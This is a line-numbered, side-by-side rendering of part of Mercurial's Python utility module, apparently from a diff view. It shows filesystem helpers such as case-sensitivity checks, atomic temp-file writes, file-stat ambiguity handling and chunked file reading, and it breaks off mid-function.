1688 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1693 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1689 raise
1694 raise
1690 except AttributeError: # no symlink in os
1695 except AttributeError: # no symlink in os
1691 pass
1696 pass
1692 fp = posixfile(pathname)
1697 fp = posixfile(pathname)
1693 r = fp.read()
1698 r = fp.read()
1694 fp.close()
1699 fp.close()
1695 return r
1700 return r
1696
1701
1697 def fstat(fp):
1702 def fstat(fp):
1698 '''stat file object that may not have fileno method.'''
1703 '''stat file object that may not have fileno method.'''
1699 try:
1704 try:
1700 return os.fstat(fp.fileno())
1705 return os.fstat(fp.fileno())
1701 except AttributeError:
1706 except AttributeError:
1702 return os.stat(fp.name)
1707 return os.stat(fp.name)
1703
1708
1704 # File system features
1709 # File system features
1705
1710
1706 def fscasesensitive(path):
1711 def fscasesensitive(path):
1707 """
1712 """
1708 Return true if the given path is on a case-sensitive filesystem
1713 Return true if the given path is on a case-sensitive filesystem
1709
1714
1710 Requires a path (like /foo/.hg) ending with a foldable final
1715 Requires a path (like /foo/.hg) ending with a foldable final
1711 directory component.
1716 directory component.
1712 """
1717 """
1713 s1 = os.lstat(path)
1718 s1 = os.lstat(path)
1714 d, b = os.path.split(path)
1719 d, b = os.path.split(path)
1715 b2 = b.upper()
1720 b2 = b.upper()
1716 if b == b2:
1721 if b == b2:
1717 b2 = b.lower()
1722 b2 = b.lower()
1718 if b == b2:
1723 if b == b2:
1719 return True # no evidence against case sensitivity
1724 return True # no evidence against case sensitivity
1720 p2 = os.path.join(d, b2)
1725 p2 = os.path.join(d, b2)
1721 try:
1726 try:
1722 s2 = os.lstat(p2)
1727 s2 = os.lstat(p2)
1723 if s2 == s1:
1728 if s2 == s1:
1724 return False
1729 return False
1725 return True
1730 return True
1726 except OSError:
1731 except OSError:
1727 return True
1732 return True
1728
1733
1729 try:
1734 try:
1730 import re2
1735 import re2
1731 _re2 = None
1736 _re2 = None
1732 except ImportError:
1737 except ImportError:
1733 _re2 = False
1738 _re2 = False
1734
1739
1735 class _re(object):
1740 class _re(object):
1736 def _checkre2(self):
1741 def _checkre2(self):
1737 global _re2
1742 global _re2
1738 try:
1743 try:
1739 # check if match works, see issue3964
1744 # check if match works, see issue3964
1740 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1745 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1741 except ImportError:
1746 except ImportError:
1742 _re2 = False
1747 _re2 = False
1743
1748
1744 def compile(self, pat, flags=0):
1749 def compile(self, pat, flags=0):
1745 '''Compile a regular expression, using re2 if possible
1750 '''Compile a regular expression, using re2 if possible
1746
1751
1747 For best performance, use only re2-compatible regexp features. The
1752 For best performance, use only re2-compatible regexp features. The
1748 only flags from the re module that are re2-compatible are
1753 only flags from the re module that are re2-compatible are
1749 IGNORECASE and MULTILINE.'''
1754 IGNORECASE and MULTILINE.'''
1750 if _re2 is None:
1755 if _re2 is None:
1751 self._checkre2()
1756 self._checkre2()
1752 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1757 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1753 if flags & remod.IGNORECASE:
1758 if flags & remod.IGNORECASE:
1754 pat = '(?i)' + pat
1759 pat = '(?i)' + pat
1755 if flags & remod.MULTILINE:
1760 if flags & remod.MULTILINE:
1756 pat = '(?m)' + pat
1761 pat = '(?m)' + pat
1757 try:
1762 try:
1758 return re2.compile(pat)
1763 return re2.compile(pat)
1759 except re2.error:
1764 except re2.error:
1760 pass
1765 pass
1761 return remod.compile(pat, flags)
1766 return remod.compile(pat, flags)
1762
1767
1763 @propertycache
1768 @propertycache
1764 def escape(self):
1769 def escape(self):
1765 '''Return the version of escape corresponding to self.compile.
1770 '''Return the version of escape corresponding to self.compile.
1766
1771
1767 This is imperfect because whether re2 or re is used for a particular
1772 This is imperfect because whether re2 or re is used for a particular
1768 function depends on the flags, etc, but it's the best we can do.
1773 function depends on the flags, etc, but it's the best we can do.
1769 '''
1774 '''
1770 global _re2
1775 global _re2
1771 if _re2 is None:
1776 if _re2 is None:
1772 self._checkre2()
1777 self._checkre2()
1773 if _re2:
1778 if _re2:
1774 return re2.escape
1779 return re2.escape
1775 else:
1780 else:
1776 return remod.escape
1781 return remod.escape
1777
1782
1778 re = _re()
1783 re = _re()
1779
1784
1780 _fspathcache = {}
1785 _fspathcache = {}
1781 def fspath(name, root):
1786 def fspath(name, root):
1782 '''Get name in the case stored in the filesystem
1787 '''Get name in the case stored in the filesystem
1783
1788
1784 The name should be relative to root, and be normcase-ed for efficiency.
1789 The name should be relative to root, and be normcase-ed for efficiency.
1785
1790
1786 Note that this function is unnecessary, and should not be
1791 Note that this function is unnecessary, and should not be
1787 called, for case-sensitive filesystems (simply because it's expensive).
1792 called, for case-sensitive filesystems (simply because it's expensive).
1788
1793
1789 The root should be normcase-ed, too.
1794 The root should be normcase-ed, too.
1790 '''
1795 '''
1791 def _makefspathcacheentry(dir):
1796 def _makefspathcacheentry(dir):
1792 return dict((normcase(n), n) for n in os.listdir(dir))
1797 return dict((normcase(n), n) for n in os.listdir(dir))
1793
1798
1794 seps = pycompat.ossep
1799 seps = pycompat.ossep
1795 if pycompat.osaltsep:
1800 if pycompat.osaltsep:
1796 seps = seps + pycompat.osaltsep
1801 seps = seps + pycompat.osaltsep
1797 # Protect backslashes. This gets silly very quickly.
1802 # Protect backslashes. This gets silly very quickly.
1798 seps.replace('\\','\\\\')
1803 seps.replace('\\','\\\\')
1799 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1804 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1800 dir = os.path.normpath(root)
1805 dir = os.path.normpath(root)
1801 result = []
1806 result = []
1802 for part, sep in pattern.findall(name):
1807 for part, sep in pattern.findall(name):
1803 if sep:
1808 if sep:
1804 result.append(sep)
1809 result.append(sep)
1805 continue
1810 continue
1806
1811
1807 if dir not in _fspathcache:
1812 if dir not in _fspathcache:
1808 _fspathcache[dir] = _makefspathcacheentry(dir)
1813 _fspathcache[dir] = _makefspathcacheentry(dir)
1809 contents = _fspathcache[dir]
1814 contents = _fspathcache[dir]
1810
1815
1811 found = contents.get(part)
1816 found = contents.get(part)
1812 if not found:
1817 if not found:
1813 # retry "once per directory" per "dirstate.walk" which
1818 # retry "once per directory" per "dirstate.walk" which
1814 # may take place for each patches of "hg qpush", for example
1819 # may take place for each patches of "hg qpush", for example
1815 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1820 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1816 found = contents.get(part)
1821 found = contents.get(part)
1817
1822
1818 result.append(found or part)
1823 result.append(found or part)
1819 dir = os.path.join(dir, part)
1824 dir = os.path.join(dir, part)
1820
1825
1821 return ''.join(result)
1826 return ''.join(result)
1822
1827
1823 def checknlink(testfile):
1828 def checknlink(testfile):
1824 '''check whether hardlink count reporting works properly'''
1829 '''check whether hardlink count reporting works properly'''
1825
1830
1826 # testfile may be open, so we need a separate file for checking to
1831 # testfile may be open, so we need a separate file for checking to
1827 # work around issue2543 (or testfile may get lost on Samba shares)
1832 # work around issue2543 (or testfile may get lost on Samba shares)
1828 f1, f2, fp = None, None, None
1833 f1, f2, fp = None, None, None
1829 try:
1834 try:
1830 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1835 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1831 suffix='1~', dir=os.path.dirname(testfile))
1836 suffix='1~', dir=os.path.dirname(testfile))
1832 os.close(fd)
1837 os.close(fd)
1833 f2 = '%s2~' % f1[:-2]
1838 f2 = '%s2~' % f1[:-2]
1834
1839
1835 oslink(f1, f2)
1840 oslink(f1, f2)
1836 # nlinks() may behave differently for files on Windows shares if
1841 # nlinks() may behave differently for files on Windows shares if
1837 # the file is open.
1842 # the file is open.
1838 fp = posixfile(f2)
1843 fp = posixfile(f2)
1839 return nlinks(f2) > 1
1844 return nlinks(f2) > 1
1840 except OSError:
1845 except OSError:
1841 return False
1846 return False
1842 finally:
1847 finally:
1843 if fp is not None:
1848 if fp is not None:
1844 fp.close()
1849 fp.close()
1845 for f in (f1, f2):
1850 for f in (f1, f2):
1846 try:
1851 try:
1847 if f is not None:
1852 if f is not None:
1848 os.unlink(f)
1853 os.unlink(f)
1849 except OSError:
1854 except OSError:
1850 pass
1855 pass
1851
1856
1852 def endswithsep(path):
1857 def endswithsep(path):
1853 '''Check path ends with os.sep or os.altsep.'''
1858 '''Check path ends with os.sep or os.altsep.'''
1854 return (path.endswith(pycompat.ossep)
1859 return (path.endswith(pycompat.ossep)
1855 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1860 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1856
1861
1857 def splitpath(path):
1862 def splitpath(path):
1858 '''Split path by os.sep.
1863 '''Split path by os.sep.
1859 Note that this function does not use os.altsep because this is
1864 Note that this function does not use os.altsep because this is
1860 an alternative of simple "xxx.split(os.sep)".
1865 an alternative of simple "xxx.split(os.sep)".
1861 It is recommended to use os.path.normpath() before using this
1866 It is recommended to use os.path.normpath() before using this
1862 function if need.'''
1867 function if need.'''
1863 return path.split(pycompat.ossep)
1868 return path.split(pycompat.ossep)
1864
1869
1865 def gui():
1870 def gui():
1866 '''Are we running in a GUI?'''
1871 '''Are we running in a GUI?'''
1867 if pycompat.isdarwin:
1872 if pycompat.isdarwin:
1868 if 'SSH_CONNECTION' in encoding.environ:
1873 if 'SSH_CONNECTION' in encoding.environ:
1869 # handle SSH access to a box where the user is logged in
1874 # handle SSH access to a box where the user is logged in
1870 return False
1875 return False
1871 elif getattr(osutil, 'isgui', None):
1876 elif getattr(osutil, 'isgui', None):
1872 # check if a CoreGraphics session is available
1877 # check if a CoreGraphics session is available
1873 return osutil.isgui()
1878 return osutil.isgui()
1874 else:
1879 else:
1875 # pure build; use a safe default
1880 # pure build; use a safe default
1876 return True
1881 return True
1877 else:
1882 else:
1878 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1883 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1879
1884
1880 def mktempcopy(name, emptyok=False, createmode=None):
1885 def mktempcopy(name, emptyok=False, createmode=None):
1881 """Create a temporary file with the same contents from name
1886 """Create a temporary file with the same contents from name
1882
1887
1883 The permission bits are copied from the original file.
1888 The permission bits are copied from the original file.
1884
1889
1885 If the temporary file is going to be truncated immediately, you
1890 If the temporary file is going to be truncated immediately, you
1886 can use emptyok=True as an optimization.
1891 can use emptyok=True as an optimization.
1887
1892
1888 Returns the name of the temporary file.
1893 Returns the name of the temporary file.
1889 """
1894 """
1890 d, fn = os.path.split(name)
1895 d, fn = os.path.split(name)
1891 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1896 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1892 os.close(fd)
1897 os.close(fd)
1893 # Temporary files are created with mode 0600, which is usually not
1898 # Temporary files are created with mode 0600, which is usually not
1894 # what we want. If the original file already exists, just copy
1899 # what we want. If the original file already exists, just copy
1895 # its mode. Otherwise, manually obey umask.
1900 # its mode. Otherwise, manually obey umask.
1896 copymode(name, temp, createmode)
1901 copymode(name, temp, createmode)
1897 if emptyok:
1902 if emptyok:
1898 return temp
1903 return temp
1899 try:
1904 try:
1900 try:
1905 try:
1901 ifp = posixfile(name, "rb")
1906 ifp = posixfile(name, "rb")
1902 except IOError as inst:
1907 except IOError as inst:
1903 if inst.errno == errno.ENOENT:
1908 if inst.errno == errno.ENOENT:
1904 return temp
1909 return temp
1905 if not getattr(inst, 'filename', None):
1910 if not getattr(inst, 'filename', None):
1906 inst.filename = name
1911 inst.filename = name
1907 raise
1912 raise
1908 ofp = posixfile(temp, "wb")
1913 ofp = posixfile(temp, "wb")
1909 for chunk in filechunkiter(ifp):
1914 for chunk in filechunkiter(ifp):
1910 ofp.write(chunk)
1915 ofp.write(chunk)
1911 ifp.close()
1916 ifp.close()
1912 ofp.close()
1917 ofp.close()
1913 except: # re-raises
1918 except: # re-raises
1914 try:
1919 try:
1915 os.unlink(temp)
1920 os.unlink(temp)
1916 except OSError:
1921 except OSError:
1917 pass
1922 pass
1918 raise
1923 raise
1919 return temp
1924 return temp
1920
1925
1921 class filestat(object):
1926 class filestat(object):
1922 """help to exactly detect change of a file
1927 """help to exactly detect change of a file
1923
1928
1924 'stat' attribute is result of 'os.stat()' if specified 'path'
1929 'stat' attribute is result of 'os.stat()' if specified 'path'
1925 exists. Otherwise, it is None. This can avoid preparative
1930 exists. Otherwise, it is None. This can avoid preparative
1926 'exists()' examination on client side of this class.
1931 'exists()' examination on client side of this class.
1927 """
1932 """
1928 def __init__(self, stat):
1933 def __init__(self, stat):
1929 self.stat = stat
1934 self.stat = stat
1930
1935
1931 @classmethod
1936 @classmethod
1932 def frompath(cls, path):
1937 def frompath(cls, path):
1933 try:
1938 try:
1934 stat = os.stat(path)
1939 stat = os.stat(path)
1935 except OSError as err:
1940 except OSError as err:
1936 if err.errno != errno.ENOENT:
1941 if err.errno != errno.ENOENT:
1937 raise
1942 raise
1938 stat = None
1943 stat = None
1939 return cls(stat)
1944 return cls(stat)
1940
1945
1941 @classmethod
1946 @classmethod
1942 def fromfp(cls, fp):
1947 def fromfp(cls, fp):
1943 stat = os.fstat(fp.fileno())
1948 stat = os.fstat(fp.fileno())
1944 return cls(stat)
1949 return cls(stat)
1945
1950
1946 __hash__ = object.__hash__
1951 __hash__ = object.__hash__
1947
1952
1948 def __eq__(self, old):
1953 def __eq__(self, old):
1949 try:
1954 try:
1950 # if ambiguity between stat of new and old file is
1955 # if ambiguity between stat of new and old file is
1951 # avoided, comparison of size, ctime and mtime is enough
1956 # avoided, comparison of size, ctime and mtime is enough
1952 # to exactly detect change of a file regardless of platform
1957 # to exactly detect change of a file regardless of platform
1953 return (self.stat.st_size == old.stat.st_size and
1958 return (self.stat.st_size == old.stat.st_size and
1954 self.stat.st_ctime == old.stat.st_ctime and
1959 self.stat.st_ctime == old.stat.st_ctime and
1955 self.stat.st_mtime == old.stat.st_mtime)
1960 self.stat.st_mtime == old.stat.st_mtime)
1956 except AttributeError:
1961 except AttributeError:
1957 pass
1962 pass
1958 try:
1963 try:
1959 return self.stat is None and old.stat is None
1964 return self.stat is None and old.stat is None
1960 except AttributeError:
1965 except AttributeError:
1961 return False
1966 return False
1962
1967
1963 def isambig(self, old):
1968 def isambig(self, old):
1964 """Examine whether new (= self) stat is ambiguous against old one
1969 """Examine whether new (= self) stat is ambiguous against old one
1965
1970
1966 "S[N]" below means stat of a file at N-th change:
1971 "S[N]" below means stat of a file at N-th change:
1967
1972
1968 - S[n-1].ctime < S[n].ctime: can detect change of a file
1973 - S[n-1].ctime < S[n].ctime: can detect change of a file
1969 - S[n-1].ctime == S[n].ctime
1974 - S[n-1].ctime == S[n].ctime
1970 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1975 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1971 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1976 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1972 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1977 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1973 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1978 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1974
1979
1975 Case (*2) above means that a file was changed twice or more at
1980 Case (*2) above means that a file was changed twice or more at
1976 same time in sec (= S[n-1].ctime), and comparison of timestamp
1981 same time in sec (= S[n-1].ctime), and comparison of timestamp
1977 is ambiguous.
1982 is ambiguous.
1978
1983
1979 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1984 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1980 timestamp is ambiguous".
1985 timestamp is ambiguous".
1981
1986
1982 But advancing mtime only in case (*2) doesn't work as
1987 But advancing mtime only in case (*2) doesn't work as
1983 expected, because naturally advanced S[n].mtime in case (*1)
1988 expected, because naturally advanced S[n].mtime in case (*1)
1984 might be equal to manually advanced S[n-1 or earlier].mtime.
1989 might be equal to manually advanced S[n-1 or earlier].mtime.
1985
1990
1986 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1991 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1987 treated as ambiguous regardless of mtime, to avoid overlooking
1992 treated as ambiguous regardless of mtime, to avoid overlooking
1988 by confliction between such mtime.
1993 by confliction between such mtime.
1989
1994
1990 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1995 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1991 S[n].mtime", even if size of a file isn't changed.
1996 S[n].mtime", even if size of a file isn't changed.
1992 """
1997 """
1993 try:
1998 try:
1994 return (self.stat.st_ctime == old.stat.st_ctime)
1999 return (self.stat.st_ctime == old.stat.st_ctime)
1995 except AttributeError:
2000 except AttributeError:
1996 return False
2001 return False
1997
2002
1998 def avoidambig(self, path, old):
2003 def avoidambig(self, path, old):
1999 """Change file stat of specified path to avoid ambiguity
2004 """Change file stat of specified path to avoid ambiguity
2000
2005
2001 'old' should be previous filestat of 'path'.
2006 'old' should be previous filestat of 'path'.
2002
2007
2003 This skips avoiding ambiguity, if a process doesn't have
2008 This skips avoiding ambiguity, if a process doesn't have
2004 appropriate privileges for 'path'. This returns False in this
2009 appropriate privileges for 'path'. This returns False in this
2005 case.
2010 case.
2006
2011
2007 Otherwise, this returns True, as "ambiguity is avoided".
2012 Otherwise, this returns True, as "ambiguity is avoided".
2008 """
2013 """
2009 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
2014 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
2010 try:
2015 try:
2011 os.utime(path, (advanced, advanced))
2016 os.utime(path, (advanced, advanced))
2012 except OSError as inst:
2017 except OSError as inst:
2013 if inst.errno == errno.EPERM:
2018 if inst.errno == errno.EPERM:
2014 # utime() on the file created by another user causes EPERM,
2019 # utime() on the file created by another user causes EPERM,
2015 # if a process doesn't have appropriate privileges
2020 # if a process doesn't have appropriate privileges
2016 return False
2021 return False
2017 raise
2022 raise
2018 return True
2023 return True
2019
2024
2020 def __ne__(self, other):
2025 def __ne__(self, other):
2021 return not self == other
2026 return not self == other
2022
2027
2023 class atomictempfile(object):
2028 class atomictempfile(object):
2024 '''writable file object that atomically updates a file
2029 '''writable file object that atomically updates a file
2025
2030
2026 All writes will go to a temporary copy of the original file. Call
2031 All writes will go to a temporary copy of the original file. Call
2027 close() when you are done writing, and atomictempfile will rename
2032 close() when you are done writing, and atomictempfile will rename
2028 the temporary copy to the original name, making the changes
2033 the temporary copy to the original name, making the changes
2029 visible. If the object is destroyed without being closed, all your
2034 visible. If the object is destroyed without being closed, all your
2030 writes are discarded.
2035 writes are discarded.
2031
2036
2032 checkambig argument of constructor is used with filestat, and is
2037 checkambig argument of constructor is used with filestat, and is
2033 useful only if target file is guarded by any lock (e.g. repo.lock
2038 useful only if target file is guarded by any lock (e.g. repo.lock
2034 or repo.wlock).
2039 or repo.wlock).
2035 '''
2040 '''
2036 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2041 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2037 self.__name = name # permanent name
2042 self.__name = name # permanent name
2038 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2043 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2039 createmode=createmode)
2044 createmode=createmode)
2040 self._fp = posixfile(self._tempname, mode)
2045 self._fp = posixfile(self._tempname, mode)
2041 self._checkambig = checkambig
2046 self._checkambig = checkambig
2042
2047
2043 # delegated methods
2048 # delegated methods
2044 self.read = self._fp.read
2049 self.read = self._fp.read
2045 self.write = self._fp.write
2050 self.write = self._fp.write
2046 self.seek = self._fp.seek
2051 self.seek = self._fp.seek
2047 self.tell = self._fp.tell
2052 self.tell = self._fp.tell
2048 self.fileno = self._fp.fileno
2053 self.fileno = self._fp.fileno
2049
2054
2050 def close(self):
2055 def close(self):
2051 if not self._fp.closed:
2056 if not self._fp.closed:
2052 self._fp.close()
2057 self._fp.close()
2053 filename = localpath(self.__name)
2058 filename = localpath(self.__name)
2054 oldstat = self._checkambig and filestat.frompath(filename)
2059 oldstat = self._checkambig and filestat.frompath(filename)
2055 if oldstat and oldstat.stat:
2060 if oldstat and oldstat.stat:
2056 rename(self._tempname, filename)
2061 rename(self._tempname, filename)
2057 newstat = filestat.frompath(filename)
2062 newstat = filestat.frompath(filename)
2058 if newstat.isambig(oldstat):
2063 if newstat.isambig(oldstat):
2059 # stat of changed file is ambiguous to original one
2064 # stat of changed file is ambiguous to original one
2060 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
2065 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
2061 os.utime(filename, (advanced, advanced))
2066 os.utime(filename, (advanced, advanced))
2062 else:
2067 else:
2063 rename(self._tempname, filename)
2068 rename(self._tempname, filename)
2064
2069
2065 def discard(self):
2070 def discard(self):
2066 if not self._fp.closed:
2071 if not self._fp.closed:
2067 try:
2072 try:
2068 os.unlink(self._tempname)
2073 os.unlink(self._tempname)
2069 except OSError:
2074 except OSError:
2070 pass
2075 pass
2071 self._fp.close()
2076 self._fp.close()
2072
2077
2073 def __del__(self):
2078 def __del__(self):
2074 if safehasattr(self, '_fp'): # constructor actually did something
2079 if safehasattr(self, '_fp'): # constructor actually did something
2075 self.discard()
2080 self.discard()
2076
2081
2077 def __enter__(self):
2082 def __enter__(self):
2078 return self
2083 return self
2079
2084
2080 def __exit__(self, exctype, excvalue, traceback):
2085 def __exit__(self, exctype, excvalue, traceback):
2081 if exctype is not None:
2086 if exctype is not None:
2082 self.discard()
2087 self.discard()
2083 else:
2088 else:
2084 self.close()
2089 self.close()
2085
2090
2086 def unlinkpath(f, ignoremissing=False):
2091 def unlinkpath(f, ignoremissing=False):
2087 """unlink and remove the directory if it is empty"""
2092 """unlink and remove the directory if it is empty"""
2088 if ignoremissing:
2093 if ignoremissing:
2089 tryunlink(f)
2094 tryunlink(f)
2090 else:
2095 else:
2091 unlink(f)
2096 unlink(f)
2092 # try removing directories that might now be empty
2097 # try removing directories that might now be empty
2093 try:
2098 try:
2094 removedirs(os.path.dirname(f))
2099 removedirs(os.path.dirname(f))
2095 except OSError:
2100 except OSError:
2096 pass
2101 pass
2097
2102
2098 def tryunlink(f):
2103 def tryunlink(f):
2099 """Attempt to remove a file, ignoring ENOENT errors."""
2104 """Attempt to remove a file, ignoring ENOENT errors."""
2100 try:
2105 try:
2101 unlink(f)
2106 unlink(f)
2102 except OSError as e:
2107 except OSError as e:
2103 if e.errno != errno.ENOENT:
2108 if e.errno != errno.ENOENT:
2104 raise
2109 raise
2105
2110
2106 def makedirs(name, mode=None, notindexed=False):
2111 def makedirs(name, mode=None, notindexed=False):
2107 """recursive directory creation with parent mode inheritance
2112 """recursive directory creation with parent mode inheritance
2108
2113
2109 Newly created directories are marked as "not to be indexed by
2114 Newly created directories are marked as "not to be indexed by
2110 the content indexing service", if ``notindexed`` is specified
2115 the content indexing service", if ``notindexed`` is specified
2111 for "write" mode access.
2116 for "write" mode access.
2112 """
2117 """
2113 try:
2118 try:
2114 makedir(name, notindexed)
2119 makedir(name, notindexed)
2115 except OSError as err:
2120 except OSError as err:
2116 if err.errno == errno.EEXIST:
2121 if err.errno == errno.EEXIST:
2117 return
2122 return
2118 if err.errno != errno.ENOENT or not name:
2123 if err.errno != errno.ENOENT or not name:
2119 raise
2124 raise
2120 parent = os.path.dirname(os.path.abspath(name))
2125 parent = os.path.dirname(os.path.abspath(name))
2121 if parent == name:
2126 if parent == name:
2122 raise
2127 raise
2123 makedirs(parent, mode, notindexed)
2128 makedirs(parent, mode, notindexed)
2124 try:
2129 try:
2125 makedir(name, notindexed)
2130 makedir(name, notindexed)
2126 except OSError as err:
2131 except OSError as err:
2127 # Catch EEXIST to handle races
2132 # Catch EEXIST to handle races
2128 if err.errno == errno.EEXIST:
2133 if err.errno == errno.EEXIST:
2129 return
2134 return
2130 raise
2135 raise
2131 if mode is not None:
2136 if mode is not None:
2132 os.chmod(name, mode)
2137 os.chmod(name, mode)
2133
2138
2134 def readfile(path):
2139 def readfile(path):
2135 with open(path, 'rb') as fp:
2140 with open(path, 'rb') as fp:
2136 return fp.read()
2141 return fp.read()
2137
2142
2138 def writefile(path, text):
2143 def writefile(path, text):
2139 with open(path, 'wb') as fp:
2144 with open(path, 'wb') as fp:
2140 fp.write(text)
2145 fp.write(text)
2141
2146
2142 def appendfile(path, text):
2147 def appendfile(path, text):
2143 with open(path, 'ab') as fp:
2148 with open(path, 'ab') as fp:
2144 fp.write(text)
2149 fp.write(text)
2145
2150
2146 class chunkbuffer(object):
2151 class chunkbuffer(object):
2147 """Allow arbitrary sized chunks of data to be efficiently read from an
2152 """Allow arbitrary sized chunks of data to be efficiently read from an
2148 iterator over chunks of arbitrary size."""
2153 iterator over chunks of arbitrary size."""
2149
2154
2150 def __init__(self, in_iter):
2155 def __init__(self, in_iter):
2151 """in_iter is the iterator that's iterating over the input chunks."""
2156 """in_iter is the iterator that's iterating over the input chunks."""
2152 def splitbig(chunks):
2157 def splitbig(chunks):
2153 for chunk in chunks:
2158 for chunk in chunks:
2154 if len(chunk) > 2**20:
2159 if len(chunk) > 2**20:
2155 pos = 0
2160 pos = 0
2156 while pos < len(chunk):
2161 while pos < len(chunk):
2157 end = pos + 2 ** 18
2162 end = pos + 2 ** 18
2158 yield chunk[pos:end]
2163 yield chunk[pos:end]
2159 pos = end
2164 pos = end
2160 else:
2165 else:
2161 yield chunk
2166 yield chunk
2162 self.iter = splitbig(in_iter)
2167 self.iter = splitbig(in_iter)
2163 self._queue = collections.deque()
2168 self._queue = collections.deque()
2164 self._chunkoffset = 0
2169 self._chunkoffset = 0
2165
2170
2166 def read(self, l=None):
2171 def read(self, l=None):
2167 """Read L bytes of data from the iterator of chunks of data.
2172 """Read L bytes of data from the iterator of chunks of data.
2168 Returns less than L bytes if the iterator runs dry.
2173 Returns less than L bytes if the iterator runs dry.
2169
2174
2170 If size parameter is omitted, read everything"""
2175 If size parameter is omitted, read everything"""
2171 if l is None:
2176 if l is None:
2172 return ''.join(self.iter)
2177 return ''.join(self.iter)
2173
2178
2174 left = l
2179 left = l
2175 buf = []
2180 buf = []
2176 queue = self._queue
2181 queue = self._queue
2177 while left > 0:
2182 while left > 0:
2178 # refill the queue
2183 # refill the queue
2179 if not queue:
2184 if not queue:
2180 target = 2**18
2185 target = 2**18
2181 for chunk in self.iter:
2186 for chunk in self.iter:
2182 queue.append(chunk)
2187 queue.append(chunk)
2183 target -= len(chunk)
2188 target -= len(chunk)
2184 if target <= 0:
2189 if target <= 0:
2185 break
2190 break
2186 if not queue:
2191 if not queue:
2187 break
2192 break
2188
2193
2189 # The easy way to do this would be to queue.popleft(), modify the
2194 # The easy way to do this would be to queue.popleft(), modify the
2190 # chunk (if necessary), then queue.appendleft(). However, for cases
2195 # chunk (if necessary), then queue.appendleft(). However, for cases
2191 # where we read partial chunk content, this incurs 2 dequeue
2196 # where we read partial chunk content, this incurs 2 dequeue
2192 # mutations and creates a new str for the remaining chunk in the
2197 # mutations and creates a new str for the remaining chunk in the
2193 # queue. Our code below avoids this overhead.
2198 # queue. Our code below avoids this overhead.
2194
2199
2195 chunk = queue[0]
2200 chunk = queue[0]
2196 chunkl = len(chunk)
2201 chunkl = len(chunk)
2197 offset = self._chunkoffset
2202 offset = self._chunkoffset
2198
2203
2199 # Use full chunk.
2204 # Use full chunk.
2200 if offset == 0 and left >= chunkl:
2205 if offset == 0 and left >= chunkl:
2201 left -= chunkl
2206 left -= chunkl
2202 queue.popleft()
2207 queue.popleft()
2203 buf.append(chunk)
2208 buf.append(chunk)
2204 # self._chunkoffset remains at 0.
2209 # self._chunkoffset remains at 0.
2205 continue
2210 continue
2206
2211
2207 chunkremaining = chunkl - offset
2212 chunkremaining = chunkl - offset
2208
2213
2209 # Use all of unconsumed part of chunk.
2214 # Use all of unconsumed part of chunk.
2210 if left >= chunkremaining:
2215 if left >= chunkremaining:
2211 left -= chunkremaining
2216 left -= chunkremaining
2212 queue.popleft()
2217 queue.popleft()
2213 # offset == 0 is enabled by block above, so this won't merely
2218 # offset == 0 is enabled by block above, so this won't merely
2214 # copy via ``chunk[0:]``.
2219 # copy via ``chunk[0:]``.
2215 buf.append(chunk[offset:])
2220 buf.append(chunk[offset:])
2216 self._chunkoffset = 0
2221 self._chunkoffset = 0
2217
2222
2218 # Partial chunk needed.
2223 # Partial chunk needed.
2219 else:
2224 else:
2220 buf.append(chunk[offset:offset + left])
2225 buf.append(chunk[offset:offset + left])
2221 self._chunkoffset += left
2226 self._chunkoffset += left
2222 left -= chunkremaining
2227 left -= chunkremaining
2223
2228
2224 return ''.join(buf)
2229 return ''.join(buf)
2225
2230
2226 def filechunkiter(f, size=131072, limit=None):
2231 def filechunkiter(f, size=131072, limit=None):
2227 """Create a generator that produces the data in the file size
2232 """Create a generator that produces the data in the file size
2228 (default 131072) bytes at a time, up to optional limit (default is
2233 (default 131072) bytes at a time, up to optional limit (default is
2229 to read all data). Chunks may be less than size bytes if the
2234 to read all data). Chunks may be less than size bytes if the
2230 chunk is the last chunk in the file, or the file is a socket or
2235 chunk is the last chunk in the file, or the file is a socket or
2231 some other type of file that sometimes reads less data than is
2236 some other type of file that sometimes reads less data than is
2232 requested."""
2237 requested."""
2233 assert size >= 0
2238 assert size >= 0
2234 assert limit is None or limit >= 0
2239 assert limit is None or limit >= 0
2235 while True:
2240 while True:
2236 if limit is None:
